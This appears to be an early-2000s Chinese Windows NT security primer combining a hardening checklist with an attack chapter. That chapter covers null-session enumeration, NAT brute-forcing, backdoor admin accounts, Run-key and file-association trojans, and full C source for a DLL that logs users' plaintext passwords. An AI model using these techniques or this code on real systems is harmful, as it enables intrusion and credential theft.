Windows NT安全初步 v0.5
编译 : coolinger
描述:当我查找资料写下这篇文章之时,正是美国侦察机撞毁我国战机之后没几天的时候,我在网络上看到有 100 多家国内的网站被美国的 Hacker 们攻破,其中大多数的网站我相信是由于网站本身的防护不够的缘故,本 0.1 版由于时间仓促,多数的内容仍只是翻译有关的英文资料,望我辈能够好好利用,以夷之盾,制夷之矛,就不旺我这几天都熬夜的痛苦了。另外要强调的一点是本文所用的方法由于条件和时间的限制,未能够都进行测试,所以在做任何修改的时候请作好备份。下面只是一个写作的提纲,以后将视情况进行修订。敬请期待后续版本。
内容:
ver 0.1 内容包括 NT 安全基础,成员服务器和 IIS 4.0 的 Check List, 和安全工具 syskey 介绍
ver 0.2 增加 Windows NT 的安全资源查找方法并对 Check list 进行修订补充。
Ver 0.3 对 NT 安全工具进行大规模的补充。
Ver 0.4 对安全工具中的防火墙规则进行简单阐述。
Ver 0.5 对 NT 的攻击方法和漏洞做了简单的阐述并且介绍工具 secureiis 。
一. Windows NT 安全基础知识
二. Windows NT 的入侵方法和近期重大漏洞
三. Windows NT 4 和 IIS 4 的 Check List
四. Windows NT 的安全工具
五. Windows NT 的安全资源的查找
如有缺失或者错误之处 , 或者想合作一起完成这个未完成文章的,或者可以提供安全资料或者软或者入侵经验的, 请来信至scanvirus@163.net <mailto:请来信至scanvirus@163.net>
Windows NT的安全基础知识
注意:本文如非特别声明,就是以 Windows NT server 4.0 为主。
一 .Windows NT 的安全保护一般是由以下几个方面的保护来实现的。
1. 用户帐户: Windows NT 是一个多用户的操作系统,它的安全保护也是建立在用户帐户的概念之上的。
2. 密码: Windows NT 有许多密码的加强选项,例如最短密码长度,最长密码有效期,第一次登陆必须修改密码等等。
3. 文件目录保护: Windows NT 在系统中引入权限的概念,来保护文件和目录。实际上很多的对象例如打印机都可以进行保护。
4. Registry 保护: Registry 包含了所有的系统配置信息,保护它不受未经授权的修改是十分必要的。
5. 审核:跟踪文件和其他资源的访问情况,对入侵事件有个了解。
6. 性能监视:性能监视不仅能够协调网络性能,而且还能对可能出现的问题进行警告。例如可以使用性能监视器来发现病毒和某些闯入企图。
二. Windows NT 安全保护模块概述
1 . Local Security Authoruity------ 是安全子系统的核心部分,主要负责确保用户有权访问对象,它可以产生访问令牌,管理安全策略并提供交互的用户认证服务,它还把 Security Reference Monitor 产生的审计信息记入日志。
2 . Security Account Manager------ 用来对用户数据库进行管理,此数据库含有所有用户,组的信息和安全标示 SID, 系统内识别一个帐户不是用他的帐户名等信息,而是使用安全标示来识别,删除一个帐户后,它的安全标示就消失了,即使重新建立一个同名帐户,由于安全标示不一样,所以也就不能继承上个帐户的权限。
3 . Security Reference Monitor------ 主要是检查拥护是否有权使用某资源或进行任何的操作。
4 . Logon Process------- 接受用户的登陆请求。
三.用户安全
SID 安全标示符用系统用来识别用户的,唯一的标示,在用户 logon 进入系统的时候就产生一个访问令牌,这个令牌含有用户 SID 和组 SID, 用户名和组名等信息,当访问一个对象的时候就把访问令牌中的 SID 信息提取出来和访问权限控制列表中的信息对比,如果匹配就允许访问,反之则不能访问,而且用户启动一个程序的时候,这个程序也得到一份访问令牌的拷贝信息,以便用来做比较之用。
一般情况下用户是这么进行对象的访问的,但是有些特殊的情况不能用对象来说明问题,例如说关闭计算机或者备份还原系统的能力,在 NT 中使用一种称为权力 (right) 来说明这些情况,在用户管理器中可以用来设定一些特殊的权力由那些用户拥有。
四.对象安全
对象的安全标示有所有者的 SID ,组的 SID, 访问控制列表 (ACL) 和系统 ACL 组成。对象分为容器型对象和非容器型对象,容器型对象是可以包含其他对象的对象例如目录,而非容器型对象就是不能包含其他对象的对象例如文件,容器型和非容器型最大的不同之处就是前者的内容物可以继承父对象的访问控制权限。
五.访问控制列表
ACL 访问控制列表里面有许多访问控制选项 (ACE) 组成 ,ACE 包含 3 个类型,分别是访问允许,访问拒绝和系统审核。
六. 审核
应用审核规则对那些发生的安全事件或者对系统的攻击进行记录是比较好的发现攻击的方法,但是要注意一点,开启审核会消耗系统资源,特别是审核的目标巨大的时候,会严重降低系统的性能。切记。
攻击攻击再攻击!!!
NT安全初级------攻击篇
基础,还是基础,嘿嘿,攻击也需要基础知识哦。好吧,我们先对 NT 的一些安全基础进行更进一步的讨论。首先 ……..
一. NT 攻击理论基础讨论
1 . NT 中内置了几个组,这些组有下面这些权限:
Server operators: 可以关闭服务器,包括远程关闭,重置服务器的时间,进行备份和还原工作。
Backup operations: 可以关闭服务器,进行备份和还原工作。
Account operations: 可以关闭服务器。
Print operations: 可以关闭服务器。
2 . NT 缺省状态下对以下目录的权限:
\ (root),\system32,\win32app-------server operations 和 everyone 可以读和执行文件,显示文件权限和对文件属性进行改变。
\ system32\config----------everyone 可以列出这个目录的文件名称。
\ system32\drivers,\system\repl-------Server operations 有完全控制权限, everyone 有读权限。
\ system32\spool-----------Server operations 和 print operations 有完全控制权限, everyone 有读权限。
\ system32\repl\export-------Server operations 可以读和执行文件,显示文件权限和改变文件属性。 Everyone 有读权限。
\ system32\repl\import-----Server operations 和 Replicator 可以读和执行文件,显示文件权限,修改该文件属性。 Everyone 可以读文件。
\ users-----Account operations 可以读写删除执行。 Everyone 可以列出这个目录的文件。
\ users\default-----Everyone 可以读写和执行。
3 . 系统管理员的管理工具的执行权限
Disk administrator----------- 必须是 administrators 的组的成员。
Event Log------everyone 可以执行这个工具,但是只有 administrators 组的成员才能看 security log 并且清除 log 。
Backup-----------everyone 可以执行这个工具备份他们有权备份的文件,只有 administrators 和 Back operations 可以超越一般的权限限制。
User Manager---------Users 和 power Users 可以建立和管理本地组。
User Manager for Domains--------- 当 Users 和 power Users 登陆到服务器控制台就可以建立和管理本地组 , 其他的工作就被限制为只有 administrators 和 Account operations 才能进行。
Server Manager-------- 只有 administrators , domain admins,server operations 可以用这个工具, Account operations 只能增加 Domain 的帐号,另外有些额外的功能只有 administrators 和 Domain administrators 才能使用。
4.Windows NT 的口令
Windows NT 的口令信息存储在\ WINNT\SYSTEM32\CONFIG\SAM 文件中,总的来说 NT 的口令加密方式是比较脆弱的,由于没有象 unix 样考虑的更加周全,类似时间机制没有加入到加密口令的条件中,所以一个长度在 5 位以下的,普通密码的破解速度可能会让你大吃一惊。
在破解 NT 口令之前需要把 passwd 信息从数据库中 dump 出来,那些 samdump,pwdump 等就是为了这种目的设计出来的,然后需要使用 crack 工具来破解拉,其中比较有名的就是 L0pht 的哪个破解工具拉。
二. 简单攻击简述
NetBIOS 攻击
首先看看使用微软的工具来攻击 NetBIOS Shares :
C:\>NBTSTAT -A 123.123.123.123
C:\>NBTSTAT -a www.target.com <http://www.target.com>
输出如下:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
STUDENT1 <20> UNIQUE Registered
STUDENT1 <00> UNIQUE Registered
DOMAIN1 <00> GROUP Registered
DOMAIN1 <1C> GROUP Registered
DOMAIN1 <1B> UNIQUE Registered
STUDENT1 <03> UNIQUE Registered
DOMAIN1 <1E> GROUP Registered
DOMAIN1 <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MAC Address = 00-C0-4F-C4-8C-9D
当 NetBIOS 发现以后就可以加入到 lmhosts 文件中了。
Computername <03> UNIQUE Registered 其中的这个 computername 在你想在网络邻居里看到这个计算机的时候必须要使用,加入到 lmhosts 文件中,但是如果使用 NAT.EXE 的话又不是必须的了。
Lmhosts 文件举例:
123.123.123.123 student1
24.3.9.12 target2
(说明,通常在 NT 下这个 lmhosts 文件应该放在\ winnt\system32\drivers\etc 目录中,这个目录中有个 lmhosts.sam 示例文件,创建 lmhosts 文件以后,可以使用 nbtstat -R 的命令重新载入这个文件的内容。)
这时,你就可以用搜索选项来找到这个机器了。当然你也可以使用 NET.EXE 这个更强大方便的方法来实现。
C:\>net view 123.123.123.123
C:\>net view <\\student1>
可能的输出为:
Shared resources at 123.123.123.123
Share name Type Used as Comment
------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk
The command completed successfully.
注意: C$,ADMIN$,IPC$ 都是隐藏不会列出来的。
建立一个 IPC$ 的空连接使用下面的命令:
C:\net use \\111.111.111.111\ipc$ "" /user:""
The command completed successfully.
连接到一个普通的 share 使用下面的命令:
C:\net use x: \\123.123.123.123\test
The command completed successfully.
记录新的网络连接使用下面的命令:
C:\net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
OK X: \\123.123.123.123\test Microsoft Windows Network
OK \\123.123.123.123\test Microsoft Windows Network
The command completed successfully.
下面还要列出一些有趣的 NET 命令,可以用来做一些和 NetBIOS 协议无关的事情:
NET localgroup <enter> 列出本地主机所建立的组名
NET name <enter> 列出计算机名和已经 login 的用户名。
NET accounts <enter> 列出对于用户的 password 的策略。
NET share <enter> 列出本地主机所有的 share 包括隐含的 share 。
NET share unsecure=c:\ 将把 c:\ 共享,共享名为 unsecure
NET user <enter> 显示本地主机创建的用户。
NET user unsecure elite /add 将添加一个名字为 unsecure ,密码为 elite 的用户。
NET start SERVICE 例如使用 NET start schedule 启动这个服务以后可以用来完全访问 register 。
NET group Administrators unsecure /add 将添加一个用户 unsecure 到组 Administrators 中,只有在域控制器上才有效。
NAT(NetBIOS Auditing Tool)
NAT 工作在缺省的 share 权限下也就是 everyone full control 。如果你被拒绝访问,那么就需要口令拉。
NAT.EXE (NetBIOS Auditing Tool)
NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>
Option 解释:
-o 结果输出文件。
-u 包含用户名的文件。
-p 包含口令的文件。
Address 地址,可以是单个地址,也可以是地址群。
不可否认 NAT 这个工具是绝大多数 Hack 门喜欢的工具。举个例子:
C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 204.73.131.11
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'
[*]--- Obtained server information:
Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:
[*]--- This machine has a browse list:
Server Comment
--------- -------
STUDENT1
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
Registry 攻击
1 . Rdisk
Rdisk /s 可以从 registry 中 Dump 出 security 和 SAM 到 c:\winnt\repair 。它主要是用来给你建立紧急修复磁盘用的。在这个目录下有一个 SAM._ 的文件,使用一个叫 samdump 的程序可以把口令从这个文件中提取出来,当然还需要破解呀,嘿嘿。
2 .完全访问 registry
要做到完全访问首先需要开启 schedule 服务。怎么做上面的文章已经说过了。下面在命令行执行:
at <time> /interactive "regedt32.exe"
在这里的 time 是当前系统时间的稍后一点的时间,这样的命令启动一个 regedt32 的软件,由于它运行于系统级的安全,所以可以访问所有的注册表,但是这个功能只有在本地主机才能使用。如果运行一切顺利,会有一个 Added a new job with job ID = 0 类似的回应。
注意 AT 命令的语法如下:
At
列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序。必须正在运行"计划"服务才能使用 at 命令。
at [ \\ computername ] [[ id ] [ /delete ] | /delete [ /yes ]]
at [ \\ computername ] time [/ interactive ] [ /every: date [ , ...]| /next: date [ , ...]] command
参数
无
如果在没有参数的情况下使用,则 at 列出已计划的命令。
\\ computername
指定远程计算机。如果省略该参数,命令将安排在本地计算机。
id
指定指派给已计划命令的识别码。
/delete
取消已计划的命令。如果省略了 id ,计算机中已计划的命令将被全部取消。
/yes
当删除已计划的事件时,对系统的查询强制进行肯定的回答。
time
指定运行命令的时间。将时间以 24 小时标记( 00:00 [ 午夜 ] 到 23:59 )的方式表示为 小时 : 分钟 。
/interactive
允许作业与在作业运行时登录用户的桌面进行交互。
/every: date [ , ...]
在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行命令。将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su) ,或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了 date ,将假定为该月的当前日期。
/next: date [,...]
在重复出现下一天(例如,下个星期四)时,运行指定命令将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su) ,或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了 date ,将假定为该月的当前日期。
command
指定要运行的 Windows 2000 命令、程序( .exe 或 .com 文件)或批处理程序( .bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的 UNC 符号,而不是远程驱动器号。如果命令不是可执行 (.exe) 文件,必须在命令前加上 cmd /c ,例如:
cmd /c dir > c:\test.out
3 .利用 .reg 文件
由于 regedit.exe 的支持,我们可以使用 *.reg 的文件来进行注册表的修改,例如:
trojian.reg
-- cut here --
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Rhino9"="notepad.exe"
cut here -
就产生种植在自启动注册表项目里一个恶意软件,可能是木马 , 病毒或者其他。
特殊的命令( 2000 下通过)
1 . 使用 start 命令
C:\WINDOWS\COMMAND\START.EXE /min /b trojan.bat
Start
启动单独的窗口来运行指定程序或命令。
start [ " title " ] [ /d path ] [ /i ] [ /min ] [ /max ] [ /separate| /shared ] [ /low | /normal | /high | /realtime ] [/ wait ] [ /b ] [ filename ] [ parameters ]
参数
无
如果在没有参数的情况下使用, start 将打开第二个命令提示符窗口。
" title "
指定在窗口标题栏中显示的标题。
/d path
指定启动目录。
/i
将 Cmd.exe 启动环境传送到新窗口。
/min
启动新的最小化窗口。
/max
启动新的最大化窗口。
/separate
在单独的内存空间启动 16 位 Windows 程序。
/shared
在共享的内存空间启动 16 位 Windows 程序。
/low
以空闲优先级启动应用程序。
/normal
以一般优先级启动应用程序。
/high
以高优先级启动应用程序。
/realtime
以实时优先级启动应用程序。
/wait
启动应用程序,并等待其结束。
/b
不创建新窗口。除非应用程序启用 CTRL+C,否则将忽略 CTRL+C 操作。使用 CTRL+BREAK 中断应用程序。
filename
指定要启动的命令或程序。
parameters
指定要传送给命令或程序的参数。
在这里只要注意 start 经常使用的 /min 是最小化窗口 ,/b 的目的是为了不开启新窗口。这条命令甚至可以自己调用具有关联的程序,例如 start 2.html 将使用 internet explorer 来打开这个文件。这条命令通常用来和 AT 一起来执行一些任务。
2 . 修改文件名关联,下面先看两条命令 assoc 和 ftype(2000 下通过 )
Assoc
显示或修改文件名扩展关联。
assoc [.ext[=[filetype]]]
显示当前文件关联。要每次查看一屏关联,请再加上 |more 命令。要将输出重定向到文件,请添加 >filename.ext 命令。
.ext
指定要查看或更改关联的文件扩展名。
键入 assoc .ext 查看文件扩展名的当前关联。
键入 assoc . ext= 删除文件扩展名关联。
Ftype
显示或者修改在文件名扩展关联中使用的文件类型。
Ftype [filetype[=[command]]]
参数
filetype
单击要显示或更改的文件类型。
command
当打开此类型的文件时指定要使用的 open 命令。
请键入不带可选项的 ftype 命令显示定义 open 命令字符串的当前文件类型。
请键入 ftype filetype 命令显示该文件类型的当前 open 命令字符串。
请键入 ftype filetype= 命令删除文件类型的 open 命令字符串。
在 open 命令字符串内, ftype 替换下列变量:
使用打开的文件名替换 %0 或 %1 。
使用所有的参数替换 %* 。
使用所有的剩余参数替换 %~n ,从第 n 个参数开始替换,此处 n 参数可以是 2 到 9 中的任意一个数。
%3 用第一个参数替换, %4 用第二个参数替换,依此类推。
这里就先举个例子:
c:\>assoc .txt # 查找后缀名是 .txt 的文件关联名
输出为:
.txt=txtfile
c:\>ftype txtfile # 查看 txtfile 的关联文件
输出为:
txtfile=notepad.exe %1
c:\>ftype txtfile=c:\inetpub\wwwroot\evil.exe # 改变 txtfile 的关联程序为 evil.exe
看了上面一段,大家是否有点感觉出来了,如果这个 evil.exe 是一个 xxx 程序,掩护工作做的好的话,那么完全可以骗过别人。在每次开启 .txt 文件的时候都回调用这个程序。当然这个程序还需要具体的适应这个环境,它要么自己能够处理 txtfile, 要么需要把对这个文件的请求转送到正确的程序上,否则这种方法很快就暴露无疑。呵呵,至于怎么转发, sorry, 这个功能就我所知是有个程序能够做到的,但是在这里就不做阐述了。抱歉。
自动执行文件夹
C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup
C:\WINNT\Profiles\ 期望的用户名\ Start Menu\Programs\Startup
文件目录里面可以增加一些有意思的快捷方式,以使所有用户或者特定用户能够执行一些具备特殊功能的东东。
C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
当漫游功能开启的时候,这个目录里的快捷方式 .cmd 也能够执行一些特殊的命令。
注意下面的 NTFS 关于这两种目录权限的缺省设置
C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
Administrators Full Control
Everyone Read
System Full Control
如果系统使用的 FAT 格式的分区, everyone 都能在这两个目录下料了。
DLL 代码攻击
由于 Winnt\system32 目录缺省 everyone 能够 change ,所以有人设计了一个 DLL 木马来提取口令。编译后使这个文件名为 FPNWCLNT.DLL ,然后把这个文件放如 winnt\system32 目录下,接下来就在\ TMP 下看用户名和口令拉,代码如下:
------------- cut --------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
struct UNI_STRING {
USHORT len;
USHORT maxlen;
WCHAR *buff;
};
static HANDLE fh;
BOOLEAN __stdcall InitializeChangeNotify ()
{
DWORD wrote;
fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
0);
WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
return TRUE;
}
LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
struct UNI_STRING *passwd)
{
DWORD wrote;
WCHAR wbuf[200];
char buf[512];
char buf1[200];
DWORD len;
memcpy(wbuf, user->buff, user->len);
len = user->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "User = %s : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);
memcpy(wbuf, passwd->buff, passwd->len);
len = passwd->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "Password = %s : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);
sprintf(buf, "RID = %x\n", rid);
WriteFile(fh, buf, strlen(buf), &wrote, 0);
return 0L;
}
------------- cut --------------
三. Windows NT 远程漏洞简述 ( 部分转载自中联绿盟 )
1 . Microsoft IIS CGI 文件名检查漏洞
http://www.nsfocus.com/sa-07.htm
2 . Microsoft IIS 远东版泄漏文件内容漏洞
<http://www.nsfocus.com/sa-08.htm>
3 . Microsoft IIS CGI 文件名错误解码漏洞
<http://www.nsfocus.com/sa01-02.htm>
4 . icrosoft IIS Unicode 解码目录遍历漏洞
<http://www.nsfocus.com/sa-06.htm>
5 .微软 Windows 2000 登录验证机制可被绕过
<http://www.nsfocus.com/alert-001.htm>
6 . Pipeupadmin 提升权限漏洞
windows 2000 sp1 本地用户运行一个叫 pipeadmin 的程序 ( <http://www.dogmile.com/files/PipeUpAdmin.exe.zip> )
就使这个不具备管理权限的用户成为管理员。详细信息请查阅 http://www.xfocus.org
7 . Remote print() overflow 漏洞
可以远程执行一些命令, isno 开发了一个程序利用这个漏洞,请查阅
<http://www.xfocus.org>
<http://isno.yeah.net>
在这里只是列出一些危害比较大的较新的漏洞,看看这些说明是不是感觉 Windows2000 不敢用了,我也的确是有这种感觉,不过如果是补丁及时的话,仍然能够在一定程度上保护好系统的,而英文版的补丁总是推出很快的,其他语种的补丁就比较慢拉,这下大家对于选择什么版本的 Windows 心中有数了吧。
Windows Check List
Windows NT成员服务器检查列表
一. 后台规划
制作一份适合你的系统的安全方针是一件十分重要的事情,在这里你需要回答 4 个问题:
1 . 被入侵以后自己的损失有多少?
2 . 我们应该把备份存储在什么地方?
3 . 谁被允许访问服务器?
4 . 什么样的硬件安全模式是适用的?
订阅微软公司或者其他的安全邮件列表是来使我们获取第一手的安全信息是必要的。微软公司的邮件列表可以在下面这个地址订阅到 <http://www.microsoft.com/security/>
对员工进行安全的再教育和训练也同样是增加安全性必要的方法。
检查那些服务是系统需要的服务项目。
二. 最初的配置和安装
1 .对硬件,机房,通信线路进行保护,那是有关物理防护的事情,在这里就不再一一祥述了。
2 .开启硬件启动保护,移去软驱光驱等可以启动的设备,如果非要这些设备,就要在 BIOS 里设置从特定的设备启动,并且设口令保护 BIOS 的设置信息,当然使用物理锁也可以拉。
3 .安装 Windows NT 注意不要 使用"克隆"工具,因为可以制作出两个具有相同 SID 的帐号,请按照 microsoft 的推荐使用定制安装模式,在安装中也要注意几个问题:所有的分区都要使用 NTFS 分区,当 administrator 帐号的安装对话框出现的时候要选择一个强壮的口令,最长可以使用 14 个字符,永远不要使用空口令来安装。当本地用户安装对话框出现的时候,注意这个用户缺省安装在 administrator 组里。制作一个紧急修复磁盘,当你的配置信息丢失或者系统出现故障的时候,可以用来恢复系统的状态。
三. Windows NT 的配置
1 . 验所有的分区都是 NTFS 格式的, NTFS 分区提供了 FAT,FAT32 等分区没有提供的访问控制和保护机制,如果必要的话可以使用 convert 命令转换分区为 NTFS 。在这里要注意的是,如果你使用 convert 命令转换某分区为 NTFS ,它将设置转换分区的 ACL 为 everyone:full control ,所以你最好使用 Windows NT 资源工具箱里的 fixacl.exe 来进行合理的配置。你可以使用下面的命令行把一个分区转换为 NTFS.
Convert Drive: /fs:NTFS
2 . 解除不必要的协议,如果你在现实中没有机会使用 ipx/spx 或者 NetBIOS 等协议的话,就把它从网络适配器上御除,这一步可以防止针对某些协议的拒绝服务攻击或者漏洞,还可以提高系统的性能,如果你想,那么就去控制面板的网络里面去看看吧。
3 . 解除其他的操作系统的安装,有些操作系统例如 linux 2.2 核心的版本目前已经可以支持对 NTFS 分区的读写操作,这样的安装就绕过了 NT 安全系统,所以需要接触其他的操作系统的安装。
4 . 装最新版本的 Service Pack,Service Pack 是包含以前所有安全升级包的软件包,所以安装这个升级包是必不可少的升级步骤之一。当前 NT 4 的最新升级包是 SP6a, 可以在下面的地址下载到:
Intel version: <http://www.microsoft.com/ntserver/nts/downloads/recommended/SP6/x86Lang.asp>
Alpha version: <http://www.microsoft.com/ntserver/nts/downloads/recommended/SP6/alphaLang.asp>
5 . 安装适当的 HotFix, 在 microsoft 的安全公告公布以后,一般它会给出一个 HotFix 的安全修复程序,请立即下载并且安装它。例如如果你已经安装了 sp6a 的 Service Pack 6a, 请下载并安装 C2 update HotFix 。这个 HotFix 可以在以下的地址下载:
Intel version:
<http://www.microsoft.com/downloads/release.asp?ReleaseID=15927>
Alpha version:
<http://www.microsoft.com/downloads/release.asp?ReleaseID=15928>
其他的一些 HotFix 可以在下面的站点找到。
<ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40>
一些专门的针对中文系统的补丁在
<ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/chs/nt40>
好象有个 2000 年虫的补丁吧,嘿嘿。
6 . 开启 SYSKEY 的保护,系统的 SAM 数据库存储本地或者域的用户和口令信息,一个攻击者无论是访问到备份的信息或者是本地系统还是修复磁盘上的 SAM 信息,都可以利用口令破解工具来破解口令,而且速度很快的。而 SYSKEY 可以对 SAM 数据库信息进行加密,使未授权的攻击者破解工作变的困难。注意安装了 SYSKEY 以后一定要重新建立一个紧急修复磁盘,不能使用未安装 SYSKEY 的系统的紧急修复磁盘来修复安装过 SYSKEY 的系统。
7 . 移除 OS/2 和 POSIX 子系统,大多数的应用软件和服务都不需要这些子系统,移除这些子系统将对那些在这些子系统下工作的攻击类软件难以运行。首先删除\ Winnt\System32\os2 目录,然后进行下面的 register 的修改,最后重新启动就可以了。注意子键 Microsoft\OS/2 Subsystem for NT , Os2LibPath, 当系统重新启动的时候会重新建立,但是子系统已经不存在了。
Hive | HKEY_LOCAL_MACHINE\SOFTWARE |
Key | \ Microsoft\OS/2 Subsystem for NT |
Action | 删除所有键值 |
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\Session Manager\Environment |
Value Name | Os2LibPath |
Action | 删除 |
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\Session Manager\SubSystems |
Value Name | Optional |
Action | 删除键值 |
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\Session Manager\SubSystems |
Action | 删除 Posix and OS/2 |
8 . 关闭所有的不需要的服务,在安装前就已经规划了那些需要 IIS 的服务,那些需要做文件或打印机共享的服务,关闭所有不必要的服务,并且不要安装一些不必要的软件除非你需要他,例如在服务器上安装 office 或者 outlook 等软件。下面就一些服务做一下简介:
① Alerter: 通知所选用户和计算机有关系统管理级警报。,例如磁盘满之类的警告信息,它依赖 Messenger 服务。
② Clipbook Server: 支持"剪贴簿查看器",以便可以从远程剪贴簿查阅剪贴页面。
③ Computer Browser: 维护网络上计算机的最新列表以及提供这个列表给请求的程序。
④ DHCP client: 通过注册和更改 IP 地址以及 DNS 名称来管理网络配置。
⑤ Directory Replicator: 支持自动的目录复制。
⑥ License logging service: 记录许可证书管理器的许可信息。
⑦ Messenger: 发送和接收系统管理员或者"警报器"服务传递的消息。
⑧ Net logon: 支持网络上计算机 pass-through 帐户登录身份验证事件。
⑨ Network DDE: 提供动态数据交换 (DDE) 的网络传输和安全特性。
⑩ Network DDE DSDM: 管理网络 DDE 的共享动态数据交换
⑾ Remote Procedure Call Locator: 管理 RPC 名称服务数据库。
⑿ Scheduler: 它支持使用 at 命令在特定的时间日期来运行一个程序。
⒀ Server: 提供 RPC 支持、文件、打印以及命名管道共享。
⒁ Spooler: 把打印的文档存储在硬盘上,等待打印机有空闲的时候再重新打印。
⒂ SNMP Service:SNMP 请求信息的代理进程,它接收来自 SNMP 管理系统的信息。
⒃ SNMP trap: 监听发往 NT 的 SNMP 的 trap, 并把它 SNMP 管理 API.
⒄ TCP/IP NetBIOS helper: 允许对" TCP/IP 上 NetBIOS (NetBT) "服务以及 NetBIOS 名称解析的支持。
⒅ Telephony service: 提供 TAPI 的支持,以便程序控制本地计算机,服务器以及 LAN 上的电话设备和基于 IP 的语音连接。
⒆ UPS: 管理连接到电脑上的不间断电源。
⒇ Workstation: 提供网络链结和通讯。
( 21 ) Event log: 记录程序和 Windows 发送的事件消息。事件日志包含对诊断问题有所帮助的信息。您可以在"事件查看器"中查看报告。
( 22 ) NT LM security provider: 为使用传输协议而不是命名管道的远程过程调用 (RPC) 程序提供安全机制。
( 23 ) emote Procedure Call service: 提供终结点映射程序 (endpoint mapper) 以及其它 RPC 服务。
四. NT 的安全配置
1 . 确认 Guest 帐户被屏蔽,在缺省情况下,这个帐户是被屏蔽的,你要做的就是检查这个帐户确保他是不能使用的。
2 . 使用适合的认证方法, NT 下使用的认证方法有 3 个:
LanManger(LM) 这种认证方法相对别的方法比较脆弱。
NT LanManger(NTLM) 使用了 64bit 的加密手段,但是对某些攻击而言仍然是脆弱的。
NT LanManger Version2(NTLMv2) 使用了 128bit 的加密手段,这个方法是比较强壮的。基本上我们可以修改 registry key 的 LSA 和 LSA\MSV1_0 子键来实现各类认证方法,具体方法请看
<http://www.microsoft.com/technet/support/kb.asp?ID=147706>
3 . 基本对象的安全,它防止一些用户通过动态连接库来得到本地管理员权限,通过修改以下的 registry 来实现,要注意这样的修改在某些系统上可能产生一些问题,但是有另外的改进的办法已经在 C2 HotFix for Sp6a 中实现了。
Hive | HKEY_LOCAL_MACHINE\SYSTEM |
Key | \ CurrentControlSet\Control\Session Manager |
Value Name | ProtectionMode |
